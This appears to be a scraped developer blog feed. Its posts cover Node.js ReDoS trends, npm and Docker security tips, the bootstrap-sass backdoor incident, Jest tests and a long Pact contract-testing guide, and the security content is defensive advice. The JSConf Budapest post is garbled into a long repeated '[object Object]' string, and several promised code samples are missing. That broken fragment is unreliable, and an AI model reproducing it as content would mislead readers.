Another interesting vulnerability type is one that is almost completely unique to Node.js, called Regular Expression Denial of Service (ReDoS). This kind of attack exploits the non-linear worst-case complexity vulnerabilities that some regex patterns can lead to. For a single-threaded runtime, this could be devastating, and this is why Node.js is significantly affected by this type of vulnerability. This may of course change with the increase in popularity we’re seeing among serverless technologies. A pay-per-use model will mean that a ReDoS attack will cause a dynamic scaling of the system which could lead to an expensive outcome for the service owner — a Denial of Funding situation perhaps!

The Node.js runtime is known to have many strengths. The single threaded event-loop is one, and this can also be its weakest link when used incorrectly. This happens more regularly than one might think. In a March 2018, a security release of the official Node.js runtime included a patch to fix a high severity ReDoS vulnerability in the core path module, which affected the Node.js 4.x release lines. The fix for the vulnerability that was found by James Davis of Virginia Tech was also ported to Node.js 6.x and later versions to mitigate the problem.

To emphasize how unique this vulnerability is to Node.js we examined other ecosystems between the years of 2016 to 2019 and found that PHP had only one ReDoS vulnerability reported in 2017. The Java and Ruby ecosystems each saw one vulnerability reported in 2018. Node.js, on the other hand, had 116 vulnerabilities in total reported over the last three years, and the rate of disclosure is showing a growing trend. That said, it’s important to distinguish between vulnerabilities that exist in code versus vulnerabilities that are actually reported. These numbers do not provide insight about the number of vulnerabilities that were added into code-bases during this time, but rather how many were discovered and eliminated from code bases. We could equally have looked at this graph and been pleased that focus is being put on finding and eliminating ReDoS vulnerabilities, as this would mean that we are likely to see fewer issues in the wild going forward.

Continue reading on more findings of the report

My first time at JSConf Budapest, how was it?

Fri, 04 Oct 2019 00:00:00 GMT

[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object], ,[object Object]

npm security tips to keep you safe of malicious modules

Mon, 19 Aug 2019 00:00:00 GMT

Tip 3: Minimize attack surfaces by ignoring run-scripts (out of 10 npm security best practices)

The npm CLI works with package run-scripts. If you’ve ever run npm start or npm test then you’ve used package run-scripts too.

The npm CLI builds on scripts that a package can declare, and allows packages to define scripts to run at specific entry points during the package’s installation in a project.

For example, some of these script hook entries may be postinstall scripts that a package that is being installed will execute in order to perform housekeeping chores.

With this capability, bad actors may create or alter packages to perform malicious acts by running any arbitrary command when their package is installed.

A couple of cases where we’ve seen this already happening is the popular eslint-scope incident that harvested npm tokens, and the crossenv incident, along with 36 other packages that abused a typosquatting attack on the npm registry.

Apply these best practices in order to minimize the malicious module attack surface:

Always vet and perform due-diligence on third-party modules that you install in order to confirm their health and credibility.
Hold-off on upgrading blindly to new versions; allow new package versions some time to circulate before trying them out.
Before upgrading, make sure to review changelog and release notes for the upgraded version.
When installing packages make sure to add the --ignore-scripts suffix to disable the execution of any scripts by third-party packages.
Consider adding ignore-scripts to your .npmrc project file, or to your global npm configuration.

—

I also blogged about a complete 10 npm security best practices you should adopt in a post that includes a high-resolution printable PDF like the snippet you see below.

Thanks for reading and to Juan Picado from the Verdaccio team who worked with me on it.

6 stages of refactoring a jest test case

Fri, 14 Jun 2019 00:00:00 GMT

An underrated feature of Jest is customizing the assertion errors that the console displays when tests fail. Imagine the following test code, which needs to programmatically loop an object to ensure keys exist as expected:

The test is written fine but imagine a developer on the team made some changes to the code, added a new file in one place, but forgot to add it to another place such as to export it properly.

When the test fails the reason for failing will not be intuitive and if you’re new to the code you’d likely not even know what broke:

So jest has more semantic expectations such as toHaveProperty(), which looks like this:

Now when a test fails it at least makes it clearer as to which property is missing, but it’s still a bit cryptic as you can see in the screenshot. What can we do? 🤔

At this point, it might be good enough. The test name is self-explanatory as you can see but the issue is that we have just one test case that fails and when looking at a test trace it isn’t very obvious which validators were used exactly.

Let’s refactor:

Now, when my test pass or fail, it is much more obvious and intuitive as to what exactly was tested, what exactly failed, and why:

Much better! 🌈🦄🎉

If you love Jest as much as I do (😍) you might also be interested in reading some of my other pieces on jest here on dev.to!:

npm passes the 1 millionth package milestone! What can we learn?

Tue, 04 Jun 2019 00:00:00 GMT

June 4th is a historic date where the millionth package was indexed into the npm registry. npm is a package manager for JavaScript packages.

We wanted to share some insights that we thought are interesting and could get our hands on

What are npm’s most popular packages? how many vulnerabilities are associated with them?

Here are the top 3

lodash: 3 vulnerabilities (1 high sev)
request: 1 vulnerability (17 typosquatting attempts)
chalk 0 vulnerabilities: (1 typosquatting attempt)

How many downloads do the top 10 packages pull in?

debug: >40 million weekly downloads
kind-of: >34 million weekly downloads
supports-color: >34 million weekly downloads

There’s a more detailed article on other registry and community statistics such as how many npm packages were added in 2019? As well as what are some interesting insights from the Node.js Foundation’s package maintenance working group.

Are you building Docker images? here's how to avoid leaking sensitive information into Docker images

Thu, 09 May 2019 00:00:00 GMT

Sometimes, when building an application inside a Docker image, you need secrets such as an SSH private key to pull code from a private repository, or you need tokens to install private packages.

If you copy them into the Docker intermediate container they are cached on the layer to which they were added, even if you delete them later on. These tokens and keys must be kept outside of the Dockerfile.

Using multi-stage builds

By leveraging Docker support for multi-stage builds, fetch and manage secrets in an intermediate image layer that is later disposed of so that no sensitive data reaches the image build.

Use code to add secrets to said intermediate layer, such as in the following example:

FROM: ubuntu as intermediate

WORKDIR /app
COPY secret/key /tmp/
RUN scp -i /tmp/key build@acme/files .

FROM ubuntu
WORKDIR /app
COPY --from=intermediate /app .

Using Docker secret commands

Use an alpha feature in Docker for managing secrets to mount sensitive files without caching them, similar to the following:

# syntax = docker/dockerfile:1.0-experimental
FROM alpine

# shows secret from default secret location
RUN --mount=type=secret,id=mysecret cat /run/secrets/mysecre

# shows secret from custom secret location
RUN --mount=type=secret,id=mysecret,dst=/foobar cat /foobar

Beware of recursive copy

You should also be mindful when copying files into the image that is being built.

For example, the following command copies the entire build context folder, recursively, to the Docker image, which could end up copying sensitive files as well:

COPY . .

If you have sensitive files in your folder, either remove them or use .dockerignore to ignore them:

private.key
appsettings.json

This tip is part of a complete 10 Docker image security best practices you should adopt. Thanks for reading and to Omer Levi Hevroni who worked with me on it.

Why you should use COPY instead of ADD when building Docker images

Wed, 01 May 2019 00:00:00 GMT

Docker provides two commands for copying files from the host to the Docker image when building it: COPY and ADD. The instructions are similar in nature, but differ in their functionality:

COPY — copies local files recursively, given explicit source and destination files or directories. With COPY, you must declare the locations.
ADD — copies local files recursively, implicitly creates the destination directory when it doesn’t exist, and accepts archives as local or remote URLs as its source, which it expands or downloads respectively into the destination directory.

While subtle, the differences between ADD and COPY are important. Be aware of these differences to avoid potential security issues:

When remote URLs are used to download data directly into a source location, they could result in man-in-the-middle attacks that modify the content of the file being downloaded. Moreover, the origin and authenticity of remote URLs need to be further validated. When using COPY the source for the files to be downloaded from remote URLs should be declared over a secure TLS connection and their origins need to be validated as well.
Space and image layer considerations: using COPY allows separating the addition of an archive from remote locations and unpacking it as different layers, which optimizes the image cache. If remote files are needed, combining all of them into one RUN command that downloads, extracts, and cleans-up afterwards optimizes a single layer operation over several layers that would be required if ADD were used.
When local archives are used, ADD automatically extracts them to the destination directory. While this may be acceptable, it adds the risk of zip bombs and Zip Slip vulnerabilities that could then be triggered automatically.

This tip is part of a complete 10 Docker image security best practices you should adopt. Thanks for reading and to Omer Levi Hevroni who worked with me on it.

How to securely build Docker images for Node.js

Mon, 22 Apr 2019 00:00:00 GMT

Use a least privileged user

When a Dockerfile doesn’t specify a USER, it defaults to executing the container using the root user. In practice, there are very few reasons why the container should have root privileges.

Docker defaults to running containers using the root user. When that namespace is then mapped to the root user in the running container, it means that the container potentially has root access on the Docker host.

Having an application on the container run with the root user further broadens the attack surface and enables an easy path to privilege escalation if the application itself is vulnerable to exploitation.

To minimize exposure, opt-in to create a dedicated user and a dedicated group in the Docker image for the application; use the USER directive in the Dockerfile to ensure the container runs the application with the least privileged access possible.

A specific user might not exist in the image; create that user using the instructions in the Dockerfile.

The following demonstrates a complete example of how to do this for a generic Ubuntu image:

FROM ubuntu
RUN mkdir /app
RUN groupadd -r lirantal && useradd -r -s /bin/false -g lirantal lirantal
RUN chown -R lirantal:lirantal /app
WORKDIR /app
COPY . /app
USER lirantal
CMD node index.js

The example above:

creates a system user (-r), with no password, no home directory set, and no shell
adds the user we created to an existing group that we created beforehand (using groupadd)
adds a final argument set to the user name we want to create, in association with the group we created

If you’re a fan of Node.js and alpine images, they already bundle a generic user for you called node. Here’s a Node.js example, making use of the generic node user:

FROM node:10-alpine 
RUN mkdir /app
COPY . /app
RUN chown -R node:node /app
USER node
CMD [“node”, “index.js”]

If you’re developing Node.js applications, you may want to consult with the official Docker and Node.js Best Practices.

This post is part of 10 Docker image security best practices you should adopt. Thanks for reading and to Omer Levi Hevroni who worked with me on it.

Did you hear about the malicious backdoor discovered in the popular bootstrap-sass Ruby gem?

Tue, 09 Apr 2019 00:00:00 GMT

I recently shared the outline of events and technical details behind the backdoor that was wisely hidden in the 3.2.0.3 version of bootstrap-sass, a popular ruby gem that was downloaded 28 million times since added to the repository 8 years ago.

The malicious version allowed remote attackers to dynamically execute code on servers hosting the vulnerable versions, by sending a specially crafted HTTP request that hides the payload in an innocent-looking cookie 🍪.

As there are no logs and evidence to trace back how this happened, the maintainers suspect that the gem was published using a compromised account of one of the two of them who had publish access.

We’ve heard stories of this happening before in the JavaScript community as well. On good example for this is the eslint-scope package.

What can we do about it?

I can’t stress enough how important it is for maintainers, and developers in general to bump up their security game. I have compiled a list of 10 npm security best practices for JavaScript developers, and at the very least enabling 2FA on the RubyGems repository is a must.

If you’re using Snyk, we already updated our vulnerability database to alert in-case you are using the malicious version.

A Comprehensive Guide to Contract Testing APIs in a Service Oriented Architecture

Thu, 28 Mar 2019 20:30:26 GMT

It is likely you experienced the painful situation of deploying to production only to find out that an API service you integrate with has broken the contract. How can we effectively ensure this does not happen?

Whether Monoliths or Microservices, it is likely that your architecture now or in the future will evolve to include API interactions between autonomous services in your infrastructure.

When a Service Oriented Architecture shapes-up (i.e: microservices), there is a high level of importance of testing these API interactions in order to add a layer of confidence as different teams deploy new versions and risk breaking an API contract with some of the other teams they integrate with.

In this guide we will review how to practically adopt the Consumer-Driven Contracts (CDC) pattern to address this situation and deploy with confidence, while maintaining a lean End-to-End infrastructure.

Preface and Pre-requisite

When applying a consumer driven development methodology, our goal is to establish API contracts between two parties and verify during tests of each party that both parties uphold their part of the contract.

As an example, these two parties can be a Frontend and a Backend, or two Backend services integrating with each other.

To do so, we use Pact which is a set of libraries and frameworks developed and open sourced by the Pact Foundation to implement the pattern.

The Pact team has done an amazing job of documentation the library, adding examples and practices so don’t skip their developer docs when in question: https://docs.pact.io

For this guide, you will need:

A git workflow — The consumer teams embrace and practice the Trunk Based Development workflow where there is a single line of development (i.e: master branch) and there are no long-lived feature branches.
JavaScript and Node.js experience — The practical code examples provided in this guide are based on teams with services built with Node.js, however it applies to other platforms as well.

The Motivation for Consumer-Driven Contract Testing

Once upon a time in a galaxy far, far away, most of us followed this standard architecture for building web applications:

You can easily fill in the text for the squares by yourself.
Some options are:

Tomcat, Oracle
PHP, MySQL
.NET, MSSQL

They weren’t that bad, right? Just think about how easy it was when you had one database, one repository. How easy it was to monitor them — just one view and one system to track. Business domain evolution, and the processes around that were easy. Testing monoliths was rather easy as well

But Monoliths shows its weakness as teams, traffic, business and complexity scales up.

So we ventured into embracing the Service Oriented Architecture to its full power. Here is Amazon’s collection of microservices around 2009 to remind you what the two squares evolve to when this happens:

Sure enough I’m deliberately drawing an extreme here, but even for small products — the business domain splits across several services and teams, different data stores, some infrastructure middlewares (auth, user management, communication messaging, configuration, etc).

With all that in mind, this begs the question —
How do you test a system with many dependencies and autonomous teams that make up the system? How do you ensure that continuous delivery and deployment do not break API contracts?

Let’s take a use-case:

Team A is responsible for movies
Team B is responsible for reviews

Each team’s test and delivery pipeline is made up of common testing practices such as unit, integration and end-to-end testing. But the real question is how does each team tests its services, and manages to deploys independently to production, without breaking the API contract?

Option 1 — Test using Mocks

Your system (End-to-End or Integration) testing is using mocks for the services the team depends on.Why would you choose to do that?

Because spinning up and down test environments for CI or E2E tests is complicated and requires to bring up real service dependencies (i.e: their databases), configure them properly, resolve versioning appropriately, and so on.
Regardless of the complexity required, it is slow and resource-heavy (which translates to money) to support this setup.

Benefits of using mocks are: quick tests, cheap, fast to implement, deterministic tests.

The downside? Not reliable in the real world, beyond your local setup.
You’re testing based on assumptions on how API contracts were implemented, but whom to say that the team you integrate with didn’t just break the API in a recent release?

Option 2— Test with real dependencies

You don’t buy-in to mocks. You need confidence. Why do you invest in all of those tests if you can’t ensure that going to production you will not be breaking an API that another team depends on you with?

So you go ahead and default to the naive approach — let’s bring up all of those services that I need when I’m running my End-to-End tests in CI!

It resembles something like the below picture, right:

You end up needing to maintain a bloat environment with many dependencies and orchestrate them to work together. Let’s not even mention the added complexity with seeding data into those other services you need.

Do you remember the Testing Pyramid? As you move up the pyramid of tests towards End-to-End tests, they become slow, and pricey.

Introducing: Contract Testing

What if I told you that you can win both worlds?

All the benefits of using mocks — quick tests, easy environment setup, and deterministic tests.
All the benefits of a fully deployed E2E — reliability and confidence when deploying to production.

To put it simply — with contract testing, you work with mocks that represent the agreed-upon API contract between the services, but also, the services (or teams really) that provide the API for consumption have to uphold that API contract that is used in those mocks, and the contract is enforced in their CI so they can’t break the API and go to production.

The Players in Contract Testing

The Pact Framework is an open source project for contract testing with support for several platforms like Ruby, JavaScript, Java and others through its set of libraries.

Terminology

Consumer — any party that interacts with a dependent service through an API (HTTP, event-based, etc). This often drills down to be a backend interacting with another backend API, but it doesn’t have to be. A browser frontend is also a valid party that depends on a backend API and is considered a consumer.
Provider — any party that provides a service for interacting with to its dependents.
Contracts — just like law enforceable agreements, these contracts represent a set of interactions with expected request and response structures. Through-out this document we will use Pacts and Contracts interchangeably to refer to the contract.
Broker — the contracts need a place to be stored. It can be any generic assets server, but its better if they are versioned, so version control is a choice. A better choice is to use the Pact Broker which is suited for this exact need and is open source, and the good folks at DiUS also provide a free hosted version of it if you’re just starting out.

The consumer part is defining the API contract by setting expectations of the provider request and response structure. These sets of interactions make the contract between a consumer and its provider.

The contract is then published to a pact broker which is a central place to inspect and manage the contracts.

The pact broker holds the contracts and provides added value such as displaying whether contracts have been verified, what interactions exist between services, and other features.

The provider is providing the API, and in its turn, pulls contracts from the broker to run its test against, and verify whether its own test suite is breaking or not, which it then reports back to the broker.

Note: through-out the guide we will be using CDC as short for Consumer-Driven Contracts, and pacts as an alias for the contracts.

Contract Testing

Lifecycle

Following is a high level overview for the workflow of contract testing between a consumer and a provider team.

The cycle starts with the top-left side of the picture where the consumer team initiates a collaboration about the requirements for the contract with the provider team.

Once both teams have agreed on the API contract, the consumer team can venture into writing tests that manifest the interactions and their expectations. The result of running these tests will become the contract, in essence, being a JSON representation of the API contract specifying all the expected interactions.

These contracts have to live somewhere. While you are free to host them straight up on a git repository, or in an artifact repository such as Nexus or Artifactory, there’s a huge benefit of using Pact’s own solution to host them and that’s called the Pact Broker. Some of the benefits include: visibility of service dependencies, webhooks, visibility into contract verification status, and much more. Needless to add — it is open source so you can spin up your own broker in a container.

Later in the future, the provider team implements the API contracts for its consumer.

What if the provider team didn’t implement the contract as was expected and agreed upon by the consumer? What if at first release the API worked as expected, but a couple of releases down the road the provider team broke the API contract by modifying some of the semantics in the response payload?

To catch these cases and enforce the API contract upon the provider before it even pushes a release, the provider in its CI pipeline downloads the contracts of all of its consumers and run the required provider testing to confirm it didn’t break anything.

Consumer Contract Testing

A consumer will typically have a client class or utility helper in the project that performs the calls to the provider. The consumer tests in essence revolve around running unit tests for that helper, involving the Pact framework’s mock service to reply with canned responses based on the set expectations during the unit test setup. The result of a successful contract test run is the Pact contract file between the consumer and provider.

This means that the consumer tests are used to define the contract, and unit testing the consumer’s client code for interacting with the provider, but will not really have any reason to fail. A broken contract doesn’t fail the consumer’s build or CI because when the consumer tests are running they work with the Pact’s mock service and don’t spin up any real provider.

With that said, the provider mocking doesn’t make consumer testing useless. At the very least, they unit tests the consumer’s API helper.

The HTTP Client Library

The Movies microservice has an HTTP client utility library that helps in making calls to the Reviews service, handling the data transfer objects, manipulating as necessary, and so on. It makes sense you’ll have one, right?

It may look like this:

Consumer Mock Setup

Per the guideline set out previously, we’ll unit test the HTTP client helper for the Reviews service. We will aim for asserting both the helper logic (massaging of the data for example), as well as use this as a base for the API contract testing.

Without using Consumer Contract Test you would have mocked the HTTP response in some way, right? May you would’ve completely stub this out with something like Sinon or Jest, or maybe you would have used Nock.

Either way, you had to mock it.
This is where the Pact framework comes in, and provides you this mock, plus, you get a contract drafted by using it. Win-win situation.

Beginning our Reviews Service mock consumer test:

The above starts the consumer test code with the following tasks:

Before all tests are run, we need to setup the Pact mock service, so we initialize a new instance with information like the consumer and provider name, and which port to listen on for requests.
After all the tests ran, as in, all the API requests that make up the contract have been made, we call on finalize() which creates a new Pact contract file in the /pacts directory.

A Contract Test Case

When practicing Consumer contract testing, the bulk of the test is about declaring the contract. By definition, every contract test has 2 parts which is made up in an interaction:

Declaring the Request — in the withRequest clause all the details making up this individual request are stated.
Declaring the Response — in the willRespondWith clause we are setting up the expectations with regards to the API response.

The state and uponReceiving properties are also important as they define what the request is (beyond the test-case level), and the state that the provider is expected to comply with. More on state in the provider contract testing.

As one may notice, we also don’t hard-code any actual values into the contract, and instead we prefer to match the actual values based on their types, structure, or say a regular expression. More on why this is a best practice later on.

Lastly, we assert that:

The ReviewsClient helper returned an expected result (the test code above is oversimplifying it so don’t take that as a golden example)
The request has been properly served by the Pact mock service and verify() didn’t throw any exceptions.

Running The Contract Tests

We run the contract test with Jest, just like any other unit test.
The following takes place:

A Pact mock service gets spin up (an actual live HTTP web service)
Interactions are registered, then test code is executed, interactions are cleaned up, and set up again and so on.
All interactions are verified, resulting in a contract file written, and the mock service get shutdown.

Consumer unit testing guidelines:

Make sure to setup the pact provider before the tests run, and assert the expectations after all test cases completed.
Interactions should be set and verified in each test case, and not in a test preparation such as in a beforeAll() clause. This is because each pact.verify() call will delete all registered interactions in the pact mock server, and so you can’t simply define all interactions beforehand and then test them. It is also much easier to debug a failed test or interaction in isolation, and this best practice follows how tests in general should be constructed: test data should be prepared, asserted, and cleaned-up within each individual test.
To build on the above guideline, defining and cleaning up interactions in test-cases will also allow you to test similar endpoints but different responses (200 vs 400).
Follow the rule of one test file per consumer-provider testing. If you split your consumer testing across multiple files for one consumer-provider contract then you incur added complexity such as: a test runner that parallelizes test execution like Ava.js or Jest will have conflicting instances of the mock service running on the same port for the provider mock; finalizing the pact contract happens once all interactions finished, how will that be ensured when they execute asynchronously and in parallel?
The Pact framework was originally also designed to run tests in a serial manner. It’s not impossible of course, but will require a more elaborate setup for parallel tests.
If there is a significant test suite with many test cases and large JSON payloads it is advised to move the mocked data to a test utility that will hold all the mocks, or possibly even a factory to return specific interaction sets to avoid repeated code through-out the test cases and will enable easier maintenance and refactoring in the future as test cases grow for the contract.
Avoid random data in expectations. This is a general rule about writing tests so that your tests are consistent and reproducible. When working with pact, it is even more important to avoid random data when writing consumer tests because the pact broker calculates a hash of the contract, and when that hash is the same, meaning the contract didn’t change even if you re-published it, then no further provider verification results are required. However, if the hash is different, then contract changed and so it will be considered as a new contract that needs to be verified by the provider. If you add random data you forgo of this optimization that the pact broker is doing for you.
Match Types or Regexes instead of hard-coded static data — You may write your consumer contract tests in a way that expects a hard-coded static property, like say an id property with value of 1, or a name property with value of John. This however may cause un-needed constraints when provider testing happens, as these exact matches would be enforced when the contract is being replayed using the pact runner. Instead, prefer to specify the expected type, or an expected pattern using regular expressions which enables more freedom in data and states management on the provider contract testing side.
Don’t tempt into doing consumer contract testing as E2E — one anti-pattern that you should avoid is creating the contracts on the consumer side using contract tests in E2E. How would you do it in E2E? You bring up your service, and from within the tests you setup a state in your database, make an API call to yourself (the consumer API) which in turn will trigger an API call to the pact mock service that is setup as the dependent provider. Avoid doing this. Why? You will need an elaborate E2E setup, and passing through many un-necessary layers, taking time to resources to run the tests, all in the effort of creating a contract. You can just as well create a contract by unit testing the HTTP client as you anyway just test the contract, not the overall functionality. You may still have server E2E tests that test our APIs but contract generation and validation should happen earlier on in the process.

Provider Contract Testing

On the provider side, contract testing means that the Pact framework downloads the consumer contract and spins up a “player” that plays all the interactions to a working provider instance.

So in essence, there is a provider API service instantiated and waiting to handle requests. The Pact framework helps to send these requests, and as it sends each one, it also verifies that the response matches the expectations that were set out in the contract — therefore, the interaction.

Here is how the provider testing looks like:

That’s it! Well, almost!

It is true that the test code is basically just that, there’s nothing else to do here specifically.

However, remember we talked about states earlier?
There are also some parameters in the above test setup config that hint the state.

Provider State Management

The actual work in provider testing is to setup and manage the required state for each interaction.

To remind ourselves how this is all connected:

The Consumer test declares an interaction, such as: a request for movies stats summary which defines the state has reviews statistics for movies.
When the provider tests run, the pact runs a request to the provider API and would expect for example to get a reviews statistics data when sending a movie id.
But how is data populated in the database to return this data item? That’s where the state management part comes in.

So the Pact framework expects an HTTP endpoint such as /setup to be ready to accept states as incoming put, then set up what is necessary, and return back a successful response. After the state is setup, it plays the interaction.

An example of a state management endpoint:

In summary, the following is needed to run provider contract tests:

The Provider API Service is started
The State Management API service is started
Start running the test suite, which 1 — for every interaction pact sends a state setup call to the State Management service; and 2 — make the HTTP call per each interaction, and verify the expectation.

Provider unit testing guidelines:

State management is key for having a good provider contract testing setup. Use a dedicated state management service that is hopefully able to re-use your existing repository or database models. The other alternative is integrating a state handler route bundled with the application. Last option, yet not officially supported at the date of this post, is to use state handler functions on the pact verifier. This last option should probably be the most effective to work with if and when it becomes available.

Bad Practices of Contract tests

Provider’s Business Logic — the focus of contracting testing is the contract itself that is to be guaranteed between a consumer and provider. Contract tests are not the place to verify internal business logic and correctness of the provider.
If you’re using the Pact framework simply as a means of instantiating a stub service that replies to requests (such as nock), then you’re missing out on the whole story of contract testing.
Public APIs — It is not feasible to ensure a contract between a general publicly available API (3rd party) and all of its consumers. If you consume the Twitter API you can not expect a contract you create to be enforced by Twitter and it will be more than likely of them to evolve their API and possibly break it during the process.
SLAs — Contract tests do not encapsulate any sort of SLAs between teams, they are only about the data contract itself.

Side-Benefits of using Pact for Public APIs

While we said that using Pact for integrating with a public API is some-what of an anti-pattern, there are some other side-benefits that you will get if you choose to use the framework for that:

If you’re already using Pact then you get the mocking capability for free and don’t require any other library like Nock or others. To make sure we’re clear — it will not help you to verify the contract because the third party API is not going to run provider testing.
Documentation — you get the API documentation from the Pact Broker.
Insights into third parties integrations — the Pact Broker has the visualization to show the connections between consumers and providers, so you will be able to quickly see in a visual manner all of the third party integrations that each service has without reading an internal documentation or inspecting the code.

The Benefits of Contract Testing:

Waste reduction — if the contract is consumer driven then the interactions that are built are actually per an expectation, instead of being generic endpoints and interactions that no one uses.
Win both Confidence and Speed — If you bring up a full E2E environment with dependencies that’s going to be reliable, but very complicated and slow. If you use mocks, you get the other half of it — easy and fast, but not so reliable.
True release independence — Services can be deployed independently, not requiring a full system, with high confidence for API contracts being uphold.
Insight into API consumers — have you ever wondered “which team is actually using this orderDescriptionText field ?” so now you know.
Using the Pact broker you get insight into all consumer and provider connections as well as the specific usage of an API response per consumer.

The DevOps Recipe

Nailing down the DevOps process around your consumers and providers pipeline is crucial because that will be the key factor to a successful adoption of Consumer-Driven Contract testing in your organization.

Several of those key factors to take into account are:

CI and testing strategies — A good understanding of the testing strategy in your organization and an already established build and CI pipeline that you can tap into.
Source Code Versioning workflow — The Pact framework and Consumer testing is agnostic to whichever source code versioning you use, and the workflows you practice. With that said, the processes of running your contract pipeline, verification and go-to-production practices will vary depending on whichever workflow you adopt.

A Trunk Based Development Git Workflow

Disclaimer: the Pact framework docs assume a git flow practice where feature branches are used on both consumer and provider teams to contain work-in-progress development of a contract, and then merged once the contract is verified.

This guide is based on a trunk based development workflow, at least for the consumer team. This means that consumer implementations and contracts are assumed to always be developed and available on the master branch, even if their implementations by providers are not yet available or existing. This is an important bit because the Pact Manifest concept that is introduced in this guide is largely required due to this workflow.

This affects the go-to-production practice and introduces the use of a Pact Manifest facility, but the rest of the guide and DevOps process mentioned through-out is still applicable regardless.

A trunk based development workflow resembles how many Open Source projects are handled — there’s a master branch that streamlines the main development branch, and any pull requests made to introduce a fix or a feature are usually short lived and merge into the main-line development.

The notion of feature, bug, release, or hotfix branches are non-existent, and instead of long-lived branches there’s a more pressing attitude of continued code integration into the master branch.

This may raise some questions, for example — how can I merge consumer code and its contract test where the provider hadn’t yet implemented it?

Even though some work-in-progress code paths exist in production, it doesn’t mean they get met. Using feature toggles allow to enable/disable a code path based on whether a functionality is ready, or exposing it to specific/limited users only.
API versioning is another facility that can be used to easily expose a work-in-progress code path , that may not even function, but can be tested and developed for until it is ready, and once its ready releasing it under a new API version. This strategy allows maintaining API paths without breaking contracts, or at least until users of the API had enough reasonable time to upgrade to the new version.

Consumer-Provider Interaction

Consumers will engage in creating the pacts (the API contracts) and push them to the Broker, where the pacts can then be downloaded by Providers to run tests against them. When provider tests fail, the provider’s CI will prohibit the provider from moving on to production, as indeed that will break a contract with its consumers.

The flow depicted in the diagram is as follows:

A consumer will generate the pact contracts and publish them to the broker (upon a release, as in, merge to master branch for example). The default state and assumption is that the API contract isn’t yet implemented by the provider, so the consumer has no interest in breaking the provider’s build and will tag the contract as dev when it is publishing the contracts to the broker.
The provider in its CI tests (whether that runs on a Pull Request or on a master branch before deploying), will download all the consumer contracts that are tagged as prod and perform its side of provider testing to ensure that the provider code is not breaking the contracts.
At this point there aren’t any prod tagged contracts so CI continues as normal.
At a later point in time when the Provider has implemented the contract, and it is now available in production, the consumer will pro-actively tag that contract as prod (manually, yet can be automated with custom tooling) and publish it to the broker.
The next provider CI tests that run will now pull in this contract that is tagged as prod. If the provider tests fail, they should fail the CI and the whole build process to prohibit the provider from moving on with the change (as this will break its consumers). Regardless of the verification outcome in the provider testing, such as failure or successful tests, this information is reported back to the broker.

General notes about the above flow:

When the consumer tags the contract as prod it also relies on confirming that the contract has been verified successfully in the last CI run of the provider and so that it is indeed ready on the provider side to be tagged as such. If it were tagged as prod by the consumer and published to the broker without the provider actually implementing the functionality, it would cause the provider CI to fail. Pact’s can-i-deploy tool can be used to mitigate this by only allowing to tag contracts as prod when they been verified at least once.
The provider CI will download and run both dev and prod contracts and will fail only when the prod contracts test fail. This allows to gain visibility on the work-in-progress made on the provider side with regards to the dev contracts.

The Consumer’s DevOps Pipeline

Taking a deeper look into the mechanics of the Consumers pipeline will further shed a light on when contract testing takes place, and what is the interaction like with the broker and pact manifest tagging.

**Build
**In the life-span of a Pull Request we run several tests during the build phase and take care of publishing a so-called build contract that is only used in order to download it later in the CI phase.

In the build phase we are basically pulling the code over from GitHub, running basic static code style & quality analysis commonly known as linting, then run unit tests, contract tests and integration tests. Contract tests are run just like unit tests but they run as another build task just to differentiate.

The integration tests we refer to in the build phase are about less code mocking and stabbing, and more about covering code paths that integrate with other components, such as triggering an API controller that consequently hits the database (so we spin up a database, or a mocked database like a Druid mock service).

When tests are successful a contract is published to the broker, so it can be downloaded in the CI step ahead to be used in End-to-End tests as mocked providers.

CI
What the aforementioned integration tests are not — they are not spinning up a full fledged deployed system that run an End-to-End functional test. This happens in the CI.

In the CI stage we setup an environment that replicates production as much as possible, but as per the spirit of consumer-driven contracts, we don’t spin-up real instances of API providers. We use docker-based containers and spin-up consumer containers that were created in the build stage before-hand, as well as spin-up any relevant databases that are direct dependencies of the consumer.

All the providers that the consumer needs to interact with are created by downloading the contracts and spinning-up mocks using utilities from the Pact framework. The mocks respond with canned responses based on how the contract was created.

We leverage CDC testing in the E2E phase where we can benefit from not requiring to bring up real third-parties and can test our application/service in end-to-end flows on a semi-real environment.

Master
Once code has been successfully tested and merged into the main line of development — the master branch, it may see more tests, but mainly what happens is:

The service version is incremented and gets tagged.
Contracts are published to the broker (by default using the dev tag for newly introduced contracts).

The Pact Manifest

The Pact Manifest is an internal tool I developed during my time with Nielsen Marketing Cloud to completely de-couple the consumer and provider without having to rely on branching conventions to keep them synced.

The pact manifest is a simple JSON file that resides on the consumer’s code-base with the role of tracking the state for a consumer-provider contracts in terms of, whether a contract is still a work-in-progress or haven’t been released to production which will be tagged as dev or the contract has been implemented by a provider and is deployed and available in production where-as the contract will be tagged as prod.

The pact manifest is needed because the source code versioning workflow set out by the teams is a trunk based development one. Which means that if an integration with provider is developed in a branch, including all the relevant consumer contract tests, it is very quickly merged to the master branch after being reviewed and passing all the tests in that Pull Request branch. It is merged to master even if the provider didn’t start implementing anything.

This is where the pact manifest is useful. It defaults to tagging the contract as dev to begin with, and later on when the consumer received the update that the provider had implemented and released the API a manual update is made to the pact manifest file to tag that contract as prod and publish it to the broker as such.

It’s important to note that it can be a mistake on the consumer side to tag a contract as prod and publish it because in reality the provider didn’t yet finish implementation or its implemented but not yet released to production. When this happens it will cause the provider CI to fail and block that team from releasing to production.

To mitigate this scenario:

Ensure proper communication is made between the teams. There is literally no excuse or replacement for good collaboration regardless of consumer-driven contracts or otherwise.
The pact manifest uses a little gem from the Pact framework called can-i-deploy to verify whether a contract can be tagged as prod.

The can-i-deploy tool is another key element in the process. It pings the broker to check if a consumer’s contract was verified by the provider. If it hasn’t, it’s a good sign that you shouldn’t deploy or tag a contract as prod-ready because it isn’t yet implemented by a provider.

The Provider’s DevOps Pipeline

